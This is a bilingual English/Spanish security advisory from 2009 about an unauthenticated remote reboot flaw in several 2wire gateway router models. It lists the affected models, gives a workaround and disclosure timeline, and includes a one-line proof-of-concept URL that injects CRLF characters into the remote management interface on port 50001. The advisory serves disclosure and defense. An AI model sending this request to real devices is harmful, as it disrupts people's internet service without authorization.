[º] Denegacion de servicio remoto en dispositivos 2wire

   ========================================
   2WIRE REMOTE DENIAL OF SERVICE
   ========================================

Device:      2wire Gateway Router/Modem
Vulnerable Software:   < 5.29.52
Vulnerable Models:   1700HG
         1701HG
         1800HW
         2071
         2700HG
         2701HG-T
Release Date:    2009-09-00
Last Update:    2009-09-00
Critical:    Moderately critical
Impact:    Denial of service
      Remote router reboot
Where:      From remote
      In the remote management interface
Solution Status:   Vendor issued firmware patches
         Providers are in charge of applying the patches
WebVuln Advisory:   1-003

  BACKGROUND
=======================

The remote management interface of some 2wire modems is enabled by default.
This interface runs over SSL on port 50001 with an untrusted issuer certificate.

++EspaÃ±ol
Algunos mÃ³dems 2wire tienen la interfaz remota habilitada por default.
La interfaz utiliza SSL con un certificado invalido en el puerto 50001.

   DESCRIPTION
=======================

Some 2wire modems are vulnerable to a remote denial of service attack.
By requesting a special url from the Remote Management interface, an unathenticated
user can remotely reboot the complete device.

++
Algunos mÃ³dems 2wire son vulnerables a un ataque de denegaciÃ³n de servicio.
Un usuario no autenticado puede reiniciar el dispositivo enviando una peticiÃ³n a
la interfaz de AdministraciÃ³n remota.

  EXPLOIT / POC
=======================

https://<remoteIP>:50001/xslt?page=%0d%0a

  WORKAROUND
=======================

Disable Remote Management in Firewall -> Advanced Settings.

++
Deshabilitar AdministraciÃ³n remota en Cortafuegos -> ConfiguraciÃ³n avanzada

   DISCLOSURE TIMELINE
=======================

2009/09/06 - Vulnerability discovered
2009/09/08 - Vendor contacted

  REFERENCES
=======================

Preth00nker's exploit (LAN) - http://www.milw0rm.com/exploits/2246
2Wire Gateways CRLF DoS (from local network) - http://secunia.com/advisories/21583
Hakim.Ws - http://www.hakim.ws
Websec - http://www.websec.mx

http://websec.mx/advisories/view/Denegacion_de_Servicio_Remoto_en_Modems_2Wire